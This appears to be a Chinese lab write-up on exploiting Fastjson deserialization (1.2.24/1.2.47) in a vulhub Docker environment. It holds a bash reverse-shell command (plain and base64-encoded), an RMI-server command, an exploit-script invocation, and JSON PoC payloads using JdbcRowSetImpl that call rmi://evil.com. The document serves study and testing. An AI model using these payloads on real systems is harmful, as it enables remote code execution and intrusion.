Fastjson反序列化初探

json

完全独立于编程语言的文本格式来存储和表示数据,易于人阅读和编写。同时也易于机器解析和生成。任何支持的类型都可以通过 JSON 来表示,例如字符串、数字、对象、数组等。但是对象和数组是比较特殊且常用的两种类型。

fastjson(alibaba)

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象。

环境搭建

docker

换源

apt-get install docker

apt-get install docker-compose

reboot

service docker start

vulhub

git clone https://github.com/vulhub/vulhub.git

cd vulhub

cd fastjson

cd 1.2.24-rce

docker-compose up -d

8090端口

利用过程

判断是否使用fastjson

首先将get方式修改为post

image-20230224171321840

kali服务器主机搭建靶场:192.168.64.138

克隆主机搭建rmi:192.168.64.143

克隆主机监听:192.168.64.143

image-20230224171346384

1
2
3
4
bash -i >& /dev/tcp/192.168.64.143/6666 0>&1
转换成base64的格式
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.64.143 9998 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY0LjE0My82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"

攻击

1
python3 fastjson-1.2.47_rce.py http://192.168.64.138:8090 rmi://192.168.64.143:9998/Object

成功

image-20230224171510555

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1.2.24

{
"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}


1.2.47

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}

rmi

RMI是Java的一组拥护开发分布式应用程序的API。RMI使用Java语言接口定义了远程对象,它集合了Java序列化和Java远程方法协议(Java Remote Method Protocol)。

防护

image-20230224171617090

img

img

神奇的L;

1
2
3
4
5
•v1.2.47 
autoType不开启
在fastjson中有一个全局缓存,在类加载的时候,如果autotype没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回。
java.lang.Class类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。
如果fastjson cache为true,就会缓存这个val对应的class到全局缓存中